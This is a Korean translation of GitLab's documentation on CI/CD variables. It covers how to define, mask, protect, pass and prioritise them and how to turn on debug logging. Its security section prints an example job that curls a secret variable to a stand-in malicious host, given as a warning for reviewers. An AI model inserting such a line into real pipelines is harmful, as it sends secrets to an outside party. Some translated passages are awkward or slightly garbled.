미리 정의된 CI/CD 변수
.gitlab-ci.yml 파일에 CI/CD 변수 정의
UI에서 CI/CD 변수 정의
- 그룹을 위한
  - 환경 범위
- 인스턴스를 위한
CI/CD 변수 보안
작업 스크립트에서 CI/CD 변수 사용하기
다른 변수에서 CI/CD 변수 사용하기
- CI/CD 변수에서 $ 문자 사용하기
- CI/CD 변수 확장 방지
CI/CD 변수 우선 순위
- 정의된 CI/CD 변수 덮어쓰기
- 변수 재정의 권한 제한
  - 최소 권한별로
변수 내보내기
관련 주제
문제 해결
- 모든 변수 나열
- 디버그 로깅 활성화
  - 디버그 로깅 액세스

GitLab CI/CD 변수

Tier: Free, Premium, Ultimate Offering: GitLab.com, Self-managed, GitLab Dedicated

CI/CD 변수는 환경 변수의 일종입니다. 이를 사용하여 다음을 할 수 있습니다:

작업 및 파이프라인의 동작을 제어합니다.
재사용할 값들을 저장합니다.
.gitlab-ci.yml 파일에 하드코딩된 값을 피합니다.

특정 파이프라인에서 변수 값을 재정의하거나, 수동으로 파이프라인 실행하거나 수동으로 작업 실행할 때 또는 수동 파이프라인 사전작업에 변수를 미리 채웁니다.

변수 이름은 runner가 사용하는 셸에 의해 제한됩니다. 각 셸에는 예약된 변수 이름의 고유한 세트가 있습니다.

일관된 동작을 보장하기 위해 변수 값을 항상 단일 또는 이중 따옴표로 넣어야 합니다. 변수는 내부적으로 Psych YAML 파서에 의해 구문 분석되므로, 따옴표로 감싸고 있는 변수와 감싸고 있지 않은 변수는 다르게 구문 분석될 수 있습니다. 예를 들어, VAR1: 012345는 8진 값으로 해석되어 값이 5349가 되지만, VAR1: "012345"는 값이 012345인 문자열로 구문 분석됩니다.

GitLab CI/CD의 고급 사용에 대한 자세한 정보는 GitLab 엔지니어가 공유한 7가지 고급 GitLab CI 워크플로 해킹을 참조하세요.

미리 정의된 CI/CD 변수

GitLab CI/CD는 미리 정의된 CI/CD 변수를 파이프라인 구성 및 작업 스크립트에서 사용할 수 있도록 제공합니다. 이러한 변수에는 파이프라인이 트리거되거나 실행될 때 필요한 작업, 파이프라인 및 기타 값에 대한 정보가 포함되어 있습니다.

미리 정의된 CI/CD 변수를 .gitlab-ci.yml에 미리 선언할 필요 없이 사용할 수 있습니다. 예를 들어:

job1:
  stage: test
  script:
    - echo "The job's stage is '$CI_JOB_STAGE'"

이 예제의 스크립트는 The job's stage is 'test'를 출력합니다.

`.gitlab-ci.yml` 파일에 CI/CD 변수 정의

.gitlab-ci.yml 파일에서 CI/CD 변수를 생성하려면, variables 키워드를 사용하여 변수와 값을 정의합니다.

.gitlab-ci.yml 파일에 저장된 변수는 저장소에 액세스 권한이 있는 모든 사용자에게 표시되며, 비민감한 프로젝트 구성만 저장해야 합니다. 예를 들어, DATABASE_URL 변수에 저장된 데이터베이스의 URL 등입니다. 시크릿이나 키와 같은 민감한 값을 포함하는 변수는 UI에서 추가해야 합니다.

variables를 작업 또는 .gitlab-ci.yml 파일의 최상위 수준에서 사용할 수 있습니다. 만약 변수가 다음과 같이 정의되어 있다면:

최상위 레벨: 변수는 전역적으로 사용 가능하며 모든 작업이 사용할 수 있습니다.
작업 내: 해당 작업만 사용할 수 있습니다.

예:

variables:
  GLOBAL_VAR: "A global variable"

job1:
  variables:
    JOB_VAR: "A job variable"
  script:
    - echo "Variables are '$GLOBAL_VAR' and '$JOB_VAR'"

job2:
  script:
    - echo "Variables are '$GLOBAL_VAR' and '$JOB_VAR'"

이 예제에서:

job1은 Variables are 'A global variable' and 'A job variable'을 출력합니다.
job2는 Variables are 'A global variable' and ''을 출력합니다.

사전 채워짐 변수을 정의하는 경우, value 와 description 키워드를 사용하세요. ### 단일 작업 내에서 전역 변수 생략

전역으로 정의된 변수를 해당 작업에서 사용할 수 없도록 원한다면, variables를 {}로 설정하세요:

variables:
  GLOBAL_VAR: "A global variable"

job1:
  variables: {}
  script:
    - echo This job does not need any variables

UI에서 CI/CD 변수 정의

토큰이나 비밀번호와 같은 민감한 변수는 .gitlab-ci.yml 파일에 추가하지 말고 UI 설정에 저장해야 합니다. UI에서 CI/CD 변수를 추가하세요:

프로젝트의 경우 프로젝트 설정.
그룹의 경우 그룹 설정의 모든 프로젝트.
GitLab 인스턴스의 경우 인스턴스 설정.

또한 이러한 변수는 API를 사용하여 추가할 수 있습니다:

기본적으로 포크된 프로젝트의 파이프라인은 부모 프로젝트에서 사용 가능한 CI/CD 변수에 액세스할 수 없습니다. 만약 포크에서 병합 요청 파이프라인을 부모 프로젝트에 대한 병합 요청에서 실행하는 경우, 모든 변수가 파이프라인에서 사용할 수 있게됩니다.

그룹을 위한

- GitLab 15.7에 도입되었으며, 그룹당 최대 200개의 CI/CD 변수를 가질 수 있습니다. - GitLab 15.9에서 그룹당 최대 30000개의 CI/CD 변수를 가질 수 있습니다.

그룹 내 모든 프로젝트에서 CI/CD 변수를 사용할 수 있습니다.

필수 구성 요소:

소유자 역할을 가진 그룹 구성원이어야 합니다.

그룹 변수를 추가하려면:

왼쪽 사이드바에서 검색 또는 이동을 선택하고 그룹을 찾습니다.
설정 > CI/CD를 선택합니다.
변수를 확장합니다.
변수 추가를 선택하고 다음을 입력합니다:
- 키: 스페이스 없이 한 줄로, 문자, 숫자 또는 _ 만 사용해야 합니다.
- 값: 제한 없음.
- 유형: Variable (기본) 또는 File.
- 변수 보호: 선택 사항입니다. 선택하면 변수는 보호된 브랜치 또는 보호된 태그에서 실행되는 파이프라인에서만 사용할 수 있습니다.
- 가시성: Visible (기본), Masked, 또는 Masked and hidden 중 하나를 선택합니다(새 변수만 가능).

프로젝트의 설정 > CI/CD > 변수 섹션에 있는 특정 프로젝트에 대해 사용 가능한 그룹 변수가 나열됩니다. 하위 그룹의 변수는 재귀적으로 상속됩니다.

환경 범위

Tier: 프리미엄, 얼티메이트

특정 환경에서만 그룹 CI/CD 변수를 사용할 수 있도록 설정하려면:

왼쪽 사이드바에서 검색 또는 이동을 선택하고 그룹을 찾습니다.
설정 > CI/CD를 선택합니다.
변수를 확장합니다.
변수 오른쪽에서 편집을 선택합니다 ().
환경 범위에 대해 All (기본값) (*), 특정 환경, 또는 와일드카드 환경 범위를 선택합니다.

인스턴스를 위한

Tier: 프리미엄, 얼티메이트 Offering: Self-managed, GitLab Dedicated

GitLab 인스턴스의 모든 프로젝트 및 그룹에 대해 CI/CD 변수를 사용할 수 있습니다.

필수 구성 요소:

인스턴스에 대한 관리자 액세스 권한이 있어야 합니다.

인스턴스 변수를 추가하려면:

왼쪽 사이드바에서 맨 아래에서 관리자를 선택합니다.
설정 > CI/CD를 선택합니다.
변수를 확장합니다.
변수 추가를 선택하고 다음을 입력합니다:
- 키: 스페이스 없이 한 줄로, 문자, 숫자 또는 _ 만 사용해야 합니다.
- 값: 값은 10,000자로 제한되지만, 러너 운영 체제의 제한 사항에 따라 결정됩니다.
- 유형: Variable (기본) 또는 File.
- 변수 보호: 선택 사항입니다. 선택하면 변수는 보호된 브랜치 또는 보호된 태그에서 실행되는 파이프라인에서만 사용할 수 있습니다.
- 가시성: Visible (기본), Masked, 또는 Masked and hidden 중 하나를 선택합니다(새 변수만 가능).

CI/CD 변수 보안

.gitlab-ci.yml 파일에 푸시된 코드는 변수를 악화시킬 수 있습니다. 변수가 작업 로그에 실수로 노출되거나, 악의적으로 제3자 서버로 전송될 수 있습니다.

.gitlab-ci.yml 파일에 변경 사항을 소개하는 모든 머지 요청을 검토한 후에:

복제된 프로젝트로부터 제출된 머지 요청을 위한 상위 프로젝트에서 파이프라인 실행.
변경 사항을 병합합니다.

파일을 추가하거나 그들에 대해 파이프라인을 실행하기 전에 가져온 프로젝트의 .gitlab-ci.yml 파일을 검토합니다.

다음 예시는 .gitlab-ci.yml 파일에서 악의적인 코드를 보여줍니다:

accidental-leak-job:
  script:                                         # 실수로 노출된 비밀번호
    - echo "This script logs into the DB with $USER $PASSWORD"
    - db-login $USER $PASSWORD

malicious-job:
  script:                                         # 악의적으로 노출된 비밀번호
    - curl --request POST --data "secret_variable=$SECRET_VARIABLE" "https://maliciouswebsite.abcd/"

accidental-leak-job과 같은 스크립트에서 비밀정보가 실수로 노출되는 위험을 줄이기 위해 모든 민감한 정보를 포함하는 변수는 항상 작업 로그에서 마스킹되어야 합니다. 또한 보호된 브랜치 및 태그에서 변수를 한정할 수 있습니다.

대안으로 기본 GitLab 통합 중 하나를 사용하여 제3자 비밀 관리자 제공자와 연결하여 비밀을 저장하고 검색할 수 있습니다:

또는 OpenID Connect (OIDC) 인증을 사용하여 네이티브 통합이 없는 비밀 관리자와 연결할 수 있습니다.

malicious-job과 같은 악의적인 스크립트는 검토 과정에서 발견되어야 합니다. 리뷰어는 이러한 코드를 발견하면 절대적으로 파이프라인을 트리거해서는 안 됩니다. 왜냐하면 악의적인 코드는 마스킹된 변수와 보호된 변수 모두를 위협할 수 있기 때문입니다.

변수 값은 aes-256-cbc를 사용하여 암호화되며 데이터베이스에 저장됩니다. 이러한 데이터는 유효한 비밀 파일로만 읽고 복호화할 수 있습니다.

CI/CD 변수 가리기

GitLab 17.4에 도입되었습니다. 기본적으로 ci_hidden_variables라는 플래그로 활성화됩니다.

플래그: 해당 기능의 가용성은 플래그에 의해 제어됩니다. 자세한 정보는 히스토리를 참조하십시오.

마스킹에 추가로, CI/CD 변수의 값을 CI/CD 설정 페이지에서 숨길 수도 있습니다. 변수를 숨기는 것은 새 변수를 생성할 때만 가능하며, 기존 변수를 숨길 수는 없습니다.

전제 조건:

UI에서 CI/CD 변수를 추가하는 데 필요한 역할 또는 엑세스 수준이 동일해야 합니다.
변수 값은 마스킹된 변수의 요구 사항과 일치하여야 합니다.

변수를 숨기려면 시각성 섹션에서 Masked and hidden을 선택하십시오. 변수를 저장한 후에는 변수를 CI/CD 파이프라인에서 사용할 수 있지만 UI에서 다시 표시할 수는 없습니다.

CI/CD 변수 보호

프로젝트, 그룹 또는 인스턴스의 CI/CD 변수를 설정하여 보호된 브랜치 또는 보호된 태그에서 실행되는 파이프라인에만 이용 가능하게 설정할 수 있습니다.

병합된 결과 파이프라인 및 병합 요청 파이프라인에는 이러한 변수에 액세스할 수 없습니다.

전제 조건:

UI에서 CI/CD 변수를 추가하는 데 필요한 역할 또는 엑세스 수준이 동일해야 합니다.

보호된 변수로 설정하려면 다음을 수행하십시오:

프로젝트 또는 그룹에서 설정 > CI/CD로 이동하십시오.
Variables을 확장하십시오.
보호하려는 변수 옆의 편집을 선택하십시오.
보호 변수 확인란을 선택하십시오.
변수 업데이트를 선택하십시오.

변수는 모든 이후 파이프라인에서 사용할 수 있게 됩니다.

파일 유형 CI/CD 변수 사용

모든 미리 정의된 CI/CD 변수 및 .gitlab-ci.yml 파일에서 정의된 변수는 “variable” 유형입니다(API에서의 env_var의 variable_type). 변수 유형 변수:

키 및 값 쌍으로 구성됩니다.
환경 변수로 작업에서 환경 변수로 사용되며 다음과 같이 구성됩니다:
- CI/CD 변수 키가 환경 변수 이름으로 사용됩니다.
- CI/CD 변수 값이 환경 변수 값으로 사용됩니다.

프로젝트, 그룹 및 인스턴스의 CI/CD 변수는 기본적으로 “variable” 유형입니다. 그러나 선택적으로 “file” 유형으로 설정할 수 있습니다(API에서의 file의 variable_type). 파일 유형 변수:

키, 값 및 파일로 구성됩니다.
환경 변수로 작업에서 환경 변수로 사용되며 다음과 같이 구성됩니다:
- CI/CD 변수 키가 환경 변수 이름으로 사용됩니다.
- CI/CD 변수 값이 임시 파일에 저장됩니다.
- 임시 파일의 경로가 환경 변수 값으로 사용됩니다.

파일 유형의 CI/CD 변수는 파일 입력을 필요로 하는 도구에 사용됩니다. AWS CLI 및 kubectl는 모두 구성에 File 유형 변수를 사용하는 도구입니다.

예를 들어, 다음과 같이 kubectl을 사용하는 경우:

키가 KUBE_URL이고 값이 https://example.com인 변수.
키가 KUBE_CA_PEM이고 값이 인증서인 파일 유형의 변수.

KUBE_URL을 --server 옵션으로 전달하여 환경 변수를 수신하고 $KUBE_CA_PEM을 --certificate-authority 옵션으로 전달하여 파일 경로를 수신하십시오.

kubectl config set-cluster e2e --server="$KUBE_URL" --certificate-authority="$KUBE_CA_PEM"

경고: GitLab 15.6 이하에서 다른 변수에 파일 변수의 값을 할당할 때 주의하십시오. 다른 변수는 파일의 내용을 값으로 취합니다. 15.7 이상에서는 이 동작이 수정되어 다른 변수는 이제 파일의 경로를 값으로 가져갑니다.

`.gitlab-ci.yml` 변수를 파일 유형 변수로 사용하기

.gitlab-ci.yml 파일에서 정의된 CI/CD 변수를 파일 유형 변수로 설정할 수 없습니다. 입력으로 파일 경로를 요구하는 도구가 있지만 .gitlab-ci.yml에 정의된 변수를 사용하려는 경우:

변수의 값을 파일에 저장하는 명령을 실행합니다.
해당 파일을 도구와 함께 사용합니다.

예를 들어:

variables:
  SITE_URL: "https://gitlab.example.com"

job:
  script:
    - echo "$SITE_URL" > "site-url.txt"
    - mytool --url-file="site-url.txt"

작업 스크립트에서 CI/CD 변수 사용하기

모든 CI/CD 변수는 작업 환경에서 환경 변수로 설정됩니다. 각 환경의 셸에 대한 표준 형식을 사용하여 작업 스크립트에서 변수를 사용할 수 있습니다.

환경 변수에 액세스하려면 런너 실행기의 셸에 대한 구문을 사용하세요.

Bash, `sh` 및 유사한 경우

Bash, sh 및 유사한 셸에서 환경 변수에 액세스하려면 CI/CD 변수 앞에 ($)를 붙입니다:

job_name:
  script:
    - echo "$CI_JOB_ID"

PowerShell의 경우

Windows PowerShell 환경에서 변수에 액세스하려면 시스템에 의해 설정된 환경 변수를 포함하여 변수 이름 앞에 $env: 또는 $를 붙입니다:

job_name:
  script:
    - echo $env:CI_JOB_ID
    - echo $CI_JOB_ID
    - echo $env:PATH

특정 경우에서는 환경 변수를 제대로 확장하려면 인용 부호로 둘러싸야 합니다:

job_name:
  script:
    - D:\\qislsf\\apache-ant-1.10.5\\bin\\ant.bat "-DsosposDailyUsr=$env:SOSPOS_DAILY_USR" portal_test

Windows Batch의 경우

Windows Batch에서 CI/CD 변수에 액세스하려면 변수를 %로 둘러싸야 합니다:

job_name:
  script:
    - echo %CI_JOB_ID%

변수에 공백이나 줄 바꿈이 포함된 경우 지연된 확장에 대해 !로도 둘러싸야 합니다.

job_name:
  script:
    - echo !ERROR_MESSAGE!

서비스 컨테이너에서

서비스 컨테이너는 기본적으로 .gitlab-ci.yml 파일에 저장된 변수만 사용할 수 있습니다. 기본적으로 GitLab UI에서 추가된 변수는 서비스 컨테이너에서 사용할 수 없습니다.

UI에서 정의된 변수를 서비스 컨테이너에서 사용하려면 해당 변수를 다른 변수에 다시 할당해야 합니다.

variables:
  SA_PASSWORD_YAML_FILE: $SA_PASSWORD_UI

다시 할당된 변수는 원래 변수와 동일한 이름을 가져서는 안 됩니다. 그렇지 않으면 확장되지 않습니다.

다른 job에 환경 변수 전달하기

작업에서 새로운 환경 변수를 생성하고 나중에 다른 job에 전달할 수 있습니다. 이러한 변수는 파이프라인을 구성하지 않고도 작업 스크립트에서 사용될 수 있습니다.

작업에서 작업이 생성한 환경 변수를 다른 작업으로 전달하려면:

작업 스크립트에서 변수를 .env 파일로 저장합니다.
- 파일의 형식은 한 줄에 하나의 변수 정의여야 합니다.
- 각 줄은 다음과 같이 형식화되어야 합니다: VARIABLE_NAME=HERE에있는 임의의 값.
- 값은 인용 부호로 묶을 수 있지만 줄 바꿈 문자를 포함할 수 없습니다.
.env 파일을 artifacts:reports:dotenv로 저장합니다.
나중 단계에서의 작업에서 스크립트에서 해당 변수를 사용할 수 있습니다.
- 작업이 dotenv 변수를 받지 않게 구성된 경우에만.

예를 들어:

build-job:
  stage: build
  script:
    - echo "BUILD_VARIABLE=value_from_build_job" >> build.env
  artifacts:
    reports:
      dotenv: build.env

test-job:
  stage: test
  script:
    - echo "$BUILD_VARIABLE"  # 출력은: 'value_from_build_job'

dotenv 보고서에서의 변수는 일부 유형의 새로운 변수 정의보다 우선합니다.

또한 하류 파이프라인에서 dotenv 변수를 전달할 수 있습니다.

`dotenv` 변수를 받는 작업 제어하기

dependencies 또는 needs 키워드를 사용하여 dotenv 아티팩트를 받는 작업을 제어할 수 있습니다.

dotenv 아티팩트가 없는 환경 변수를 얻으려면:

빈 dependencies 또는 needs 배열을 전달합니다.
needs:artifacts을 false로 설정합니다.
dotenv 아티팩트가없는 작업만 나열하도록 needs를 설정합니다.

예를 들어:

build-job1:
  stage: build
  script:
    - echo "BUILD_VERSION=v1.0.0" >> build.env
  artifacts:
    reports:
      dotenv: build.env

build-job2:
  stage: build
  needs: []
  script:
    - echo "This job has no dotenv artifacts"

test-job1:
  stage: test
  script:
    - echo "$BUILD_VERSION"  # 출력은: 'v1.0.0'
  dependencies:
    - build-job1

test-job2:
  stage: test
  script:
    - echo "$BUILD_VERSION"  # 출력은 ''
  dependencies: []

test-job3:
  stage: test
  script:
    - echo "$BUILD_VERSION"  # 출력은: 'v1.0.0'
  needs:
    - build-job1

test-job4:
  stage: test
  script:
    - echo "$BUILD_VERSION"  # 출력은: 'v1.0.0'
  needs:
    - job: build-job1
      artifacts: true

test-job5:
  stage: deploy
  script:
    - echo "$BUILD_VERSION"  # 출력은 ''
  needs:
    - job: build-job1
      artifacts: false

test-job6:
  stage: deploy
  script:
    - echo "$BUILD_VERSION"  # 출력은 ''
  needs:
    - build-job2

동일 작업 내에서 `script` 섹션에서 다른 섹션으로 환경 변수 전달하기

$GITLAB_ENV를 사용하여 script 섹션에서 정의된 환경 변수를 다른 섹션으로 전달합니다.

예:

build-job:
  stage: build
  script:
    - echo "ARCH=$(arch)" >> $GITLAB_ENV
    - touch some-file-$(arch)
  artifacts:
    paths:
      - some-file-$ARCH

동일한 변수를 다른 단계에서도 참조하려면 해당 변수를 $GITLAB_ENV 및 .env 파일 모두에 쓰세요:

build-job:
  stage: build
  script:
    - echo "ARCH=$(arch)" | tee >> $GITLAB_ENV build.env
    - touch some-file-$(arch)
  artifacts:
    paths:
      - some-file-$ARCH
    reports:
      dotenv: build.env

release-job:
  stage: release
  script:
    - curl --upload-file some-file-$ARCH "https://example.com/some-file-$ARCH"

하나의 변수에 여러 값을 저장하기

배열 값으로 구성된 CI/CD 변수를 생성할 수는 없지만, 비슷한 동작을 위해 셸 스크립팅 기법을 사용할 수 있습니다.

예를 들어, 변수에 공백으로 구분된 여러 값을 저장한 다음 스크립트로 해당 값을 순회할 수 있습니다:

job1:
  variables:
    FOLDERS: src test docs
  script:
    - |
      for FOLDER in $FOLDERS
        do
          echo "The path is root/${FOLDER}"
        done

다른 변수에서 CI/CD 변수 사용하기

다른 변수 내에서 변수를 사용할 수 있습니다:

job:
  variables:
    FLAGS: '-al'
    LS_CMD: 'ls "$FLAGS"'
  script:
    - 'eval "$LS_CMD"'  # 'ls -al'을 실행합니다

CI/CD 변수에서 `$` 문자 사용하기

$ 문자를 다른 변수의 시작으로 해석하지 않으려면 대신 $$를 사용하세요:

job:
  variables:
    FLAGS: '-al'
    LS_CMD: 'ls "$FLAGS" $$TMP_DIR'
  script:
    - 'eval "$LS_CMD"'  # 'ls -al $TMP_DIR'을 실행합니다

CI/CD 변수 확장 방지

GitLab 15.7에서 도입됨.

확장된 변수는 값을 $ 문자의 참조로 취급합니다. 기본값으로 CI/CD 변수는 확장됩니다. $ 문자가 있는 변수를 원시 문자열로 취급하려면 해당 변수의 확장을 비활성화하세요.

전제 조건:

UI에서 CI/CD 변수 추가하는 데 필요한 권한이나 엑세스 수준이 동일해야 합니다.

변수의 확장을 비활성화하려면:

프로젝트 또는 그룹에서 설정 > CI/CD로 이동합니다.
변수를 확장합니다.
확장을 비활성화하려는 변수 옆에서 편집을 선택합니다.
변수 확장 확인란을 선택 취소합니다.
변수 업데이트를 선택합니다.

CI/CD 변수 우선 순위

GitLab 16.7에서 스캔 실행 정책 변수 우선 순위가 변경되었습니다. security_policies_variables_precedence라는 플래그로 기본적으로 활성화됩니다. GitLab 16.8에서 기능 플래그 삭제.

서로 다른 위치에서 동일한 이름의 CI/CD 변수를 사용할 수 있지만, 값은 서로 덮어쓸 수 있습니다. 변수의 유형과 정의된 위치에 따라 변수의 우선 순위가 결정됩니다.

변수의 우선 순위는 다음과 같습니다(높은 순서부터 낮은 순서):

파이프라인 실행 정책 변수.
스캔 실행 정책 변수.
파이프라인 변수. 이러한 변수는 모두 동일한 우선 순위를 갖습니다:
프로젝트 변수.
그룹 변수. 동일한 변수 이름이 그룹 및 그 하위 그룹에 모두 존재하는 경우, 작업은 가장 가까운 하위 그룹의 값을 사용합니다. 예를 들어 그룹 > 서브그룹 1 > 서브그룹 2 > 프로젝트가 있는 경우 서브그룹 2에서 정의된 변수가 우선합니다.
인스턴스 변수.
dotenv 보고서에서 정의된 변수.
.gitlab-ci.yml 파일의 작업에서 정의된 변수.
.gitlab-ci.yml 파일에서 작업 외부(전역)에서 정의된 변수.
배포 변수.
미리 정의된 변수.

예:

variables:
  API_TOKEN: "default"

job1:
  variables:
    API_TOKEN: "secure"
  script:
    - echo "The variable is '$API_TOKEN'"

이 예에서 job1은 .gitlab-ci.yml 파일의 작업에서 정의된 변수가 전역으로 정의된 변수보다 우선순위가 높기 때문에 The variable is 'secure'을 출력합니다.

정의된 CI/CD 변수 덮어쓰기

변수의 값을 덮어쓸 수 있습니다. 이 때 사용하는 방법은:

UI에서 수동으로 파이프라인 실행.
파이프라인을 생성하기 위해 pipelines API 엔드포인트를 사용합니다.
GitLab CI/CD를 위한 푸시 옵션을 사용합니다.
triggers API 엔드포인트를 사용하여 파이프라인을 트리거합니다.
하향 파이프라인에 변수를 전달하거나 dotenv 변수를 사용합니다.
수동 작업 실행 시 변수를 지정합니다.

대부분의 경우 미리 정의된 변수를 덮어쓰는 것은 피해야 합니다. 이렇게 하면 파이프라인의 예상치 못한 동작을 일으킬 수 있기 때문입니다.

변수 재정의 권한 제한

변수를 재정의하는 권한을 Maintainer 역할 이상의 사용자에게만 제한할 수 있습니다. 다른 사용자가 재정의된 변수를 사용하려고 하면 파이프라인 변수 설정에 대한 충분한 권한이 없습니다 오류 메시지를 받게 됩니다.

이 기능을 사용하려면 프로젝트 API를 사용하여 restrict_user_defined_variables 설정을 활성화하세요. 이 설정은 기본적으로 disabled 상태입니다.

만약 CI/CD 구성을 다른 저장소에 저장하는 경우, 이 설정을 사용하여 파이프라인이 실행되는 환경을 제어할 수 있습니다.

최소 권한별로

GitLab 17.1에서 도입됨

restrict_user_defined_variables 옵션이 활성화되면 역할을 사용하여 ci_pipeline_variables_minimum_override_role 설정을 지정할 수 있습니다.

설정을 변경하려면 프로젝트 API를 사용하여 ci_pipeline_variables_minimum_override_role을 다음 중 하나로 수정하세요:

owner: 소유자 역할을 가진 사용자만 변수를 재정의할 수 있습니다. 이 값을 설정하려면 프로젝트의 소유자 역할을 가져야 합니다.
maintainer: Maintainer 역할 이상의 사용자만 변수를 재정의할 수 있습니다. 지정되지 않은 경우 기본값입니다.
developer: Developer 역할 이상의 사용자만 변수를 재정의할 수 있습니다.
no_one_allowed: 사용자는 변수를 재정의할 수 없습니다.

최소 권한을 owner로 설정하면 owner 역할 이상의 사용자만 ci_pipeline_variables_minimum_override_role 및 restrict_user_defined_variables 설정을 업데이트할 수 있습니다.

변수 내보내기

별도의 셸 컨텍스트에서 실행되는 스크립트는 내보내기, 별칭, 로컬 함수 정의 또는 기타 로컬 셸 업데이트를 공유하지 않습니다.

이는 작업이 실패하는 경우 사용자 정의 스크립트로 생성된 변수가 내보내지지 않음을 의미합니다.

런너가.gitlab-ci.yml에서 정의된 작업을 실행할 때:

before_script에 지정된 스크립트 및 주 스크립트가 단일 셸 컨텍스트에서 실행되어 연결됩니다.
before_script에서 지정된 스크립트와는 완전히 별도의 셸 컨텍스트에서 실행됩니다.

스크립트가 실행되는 셸의 종류와 관계없이, 런너 출력에는 다음이 포함됩니다:

미리 정의된 변수
다음에서 정의된 변수:
- 인스턴스, 그룹 또는 프로젝트 CI/CD 설정
- variables: 섹션의 .gitlab-ci.yml 파일
- secrets: 섹션의 .gitlab-ci.yml 파일
- config.toml

런너는 수동으로 내보내기, 셸 별칭 및 스크립트 본문에서 실행되는 함수를 처리할 수 없습니다(export MY_VARIABLE=1과 같은).

예를 들어, 다음 .gitlab-ci.yml 파일에서 다음과 같이 스크립트를 정의합니다:

job:
 variables:
   JOB_DEFINED_VARIABLE: "job variable"
 before_script:
   - echo "This is the 'before_script' script"
   - export MY_VARIABLE="variable"
 script:
   - echo "This is the 'script' script"
   - echo "JOB_DEFINED_VARIABLE의 값은 ${JOB_DEFINED_VARIABLE} 입니다"
   - echo "CI_COMMIT_SHA의 값은 ${CI_COMMIT_SHA} 입니다"
   - echo "MY_VARIABLE의 값은 ${MY_VARIABLE} 입니다"
 after_script:
   - echo "JOB_DEFINED_VARIABLE의 값은 ${JOB_DEFINED_VARIABLE} 입니다"
   - echo "CI_COMMIT_SHA의 값은 ${CI_COMMIT_SHA} 입니다"
   - echo "MY_VARIABLE의 값은 ${MY_VARIABLE} 입니다"

런너가 작업을 실행하는 경우:

before_script가 실행됩니다:
1. 출력에 표시됩니다.
2. MY_VARIABLE에 대한 변수를 정의합니다.
script가 실행됩니다:
1. 출력에 표시됩니다.
2. JOB_DEFINED_VARIABLE의 값을 표시합니다.
3. CI_COMMIT_SHA의 값을 표시합니다.
4. MY_VARIABLE의 값을 표시합니다.
after_script는 새로운 별도의 셸 컨텍스트에서 실행됩니다:
1. 출력에 표시됩니다.
2. JOB_DEFINED_VARIABLE의 값을 표시합니다.
3. CI_COMMIT_SHA의 값을 표시합니다.
4. MY_VARIABLE의 값을 표시합니다. after_script는 before_script와 별개의 셸 컨텍스트에 있기 때문에 변수 값이 감지되지 않습니다.

문제 해결

모든 변수 나열

Bash에서 export 명령어 또는 PowerShell에서 dir env: 명령어를 사용하여 스크립트에 사용 가능한 모든 변수를 나열할 수 있습니다. 이는 모든 사용 가능한 변수의 값을 노출시키므로 보안 위험일 수 있습니다. 마스킹된 변수는 [MASKED]로 표시됩니다.

예를 들어, Bash에서:

job_name:
  script:
    - export

예제 작업 로그 출력(줄임):

export CI_JOB_ID="50"
export CI_COMMIT_SHA="1ecfd275763eff1d6b4844ea3168962458c9f27a"
export CI_COMMIT_SHORT_SHA="1ecfd275"
export CI_COMMIT_REF_NAME="main"
export CI_REPOSITORY_URL="https://gitlab-ci-token:[MASKED]@example.com/gitlab-org/gitlab.git"
export CI_COMMIT_TAG="1.0.0"
export CI_JOB_NAME="spec:other"
export CI_JOB_STAGE="test"
export CI_JOB_MANUAL="true"
export CI_JOB_TRIGGERED="true"
export CI_JOB_TOKEN="[MASKED]"
export CI_PIPELINE_ID="1000"
export CI_PIPELINE_IID="10"
export CI_PAGES_DOMAIN="gitlab.io"
export CI_PAGES_URL="https://gitlab-org.gitlab.io/gitlab"
export CI_PROJECT_ID="34"
export CI_PROJECT_DIR="/builds/gitlab-org/gitlab"
export CI_PROJECT_NAME="gitlab"
export CI_PROJECT_TITLE="GitLab"
...

디버그 로깅 활성화

경고: 디버그 로깅은 심각한 보안 위험을 초래할 수 있습니다. 출력물에는 작업에 사용 가능한 모든 변수의 내용이 포함됩니다. 출력물은 GitLab 서버에 업로드되어 작업 로그에서 확인할 수 있습니다.

파이프라인 구성이나 작업 스크립트에 문제가 있는지 해결하는 데 도움을 주기 위해 디버그 로깅을 사용할 수 있습니다. 디버그 로깅은 일반적으로 러너에 의해 숨겨진 작업 실행 세부 정보를 노출하고 작업 로그를 더 장황하게 만듭니다. 또한 작업에 사용 가능한 모든 변수와 비밀을 노출합니다.

디버그 로깅을 활성화하기 전에 작업 로그를 볼 수 있는 사람이 팀 구성원만 되도록 확인하세요. 또한 로그를 다시 공개하기 전에 디버그 출력이 포함된 작업 로그를 삭제해야 합니다.

디버그 로깅을 활성화하려면 CI_DEBUG_TRACE 변수를 true로 설정하세요:

job_name:
  variables:
    CI_DEBUG_TRACE: "true"

출력 예(일부분만 표시):

...
export CI_SERVER_TLS_CA_FILE="/builds/gitlab-examples/ci-debug-trace.tmp/CI_SERVER_TLS_CA_FILE"
if [[ -d "/builds/gitlab-examples/ci-debug-trace/.git" ]]; then
  echo $'\''\x1b[32;1mFetching changes...\x1b[0;m'\''
  $'\''cd'\'' "/builds/gitlab-examples/ci-debug-trace"
  $'\''git'\'' "config" "fetch.recurseSubmodules" "false"
  $'\''rm'\'' "-f" ".git/index.lock"
  $'\''git'\'' "clean" "-ffdx"
  $'\''git'\'' "reset" "--hard"
  $'\''git'\'' "remote" "set-url" "origin" "https://gitlab-ci-token:xxxxxxxxxxxxxxxxxxxx@example.com/gitlab-examples/ci-debug-trace.git"
  $'\''git'\'' "fetch" "origin" "--prune" "+refs/heads/*:refs/remotes/origin/*" "+refs/tags/*:refs/tags/lds"
++ CI_BUILDS_DIR=/builds
++ export CI_PROJECT_DIR=/builds/gitlab-examples/ci-debug-trace
++ CI_PROJECT_DIR=/builds/gitlab-examples/ci-debug-trace
++ export CI_CONCURRENT_ID=87
++ CI_CONCURRENT_ID=87
++ export CI_CONCURRENT_PROJECT_ID=0
++ CI_CONCURRENT_PROJECT_ID=0
++ export CI_SERVER=yes
++ CI_SERVER=yes
++ mkdir -p /builds/gitlab-examples/ci-debug-trace.tmp
++ echo -n '-----BEGIN CERTIFICATE-----
-----END CERTIFICATE-----'
++ export CI_SERVER_TLS_CA_FILE=/builds/gitlab-examples/ci-debug-trace.tmp/CI_SERVER_TLS_CA_FILE
++ CI_SERVER_TLS_CA_FILE=/builds/gitlab-examples/ci-debug-trace.tmp/CI_SERVER_TLS_CA_FILE
++ export CI_PIPELINE_ID=52666
++ CI_PIPELINE_ID=52666
++ export CI_PIPELINE_URL=https://gitlab.com/gitlab-examples/ci-debug-trace/pipelines/52666
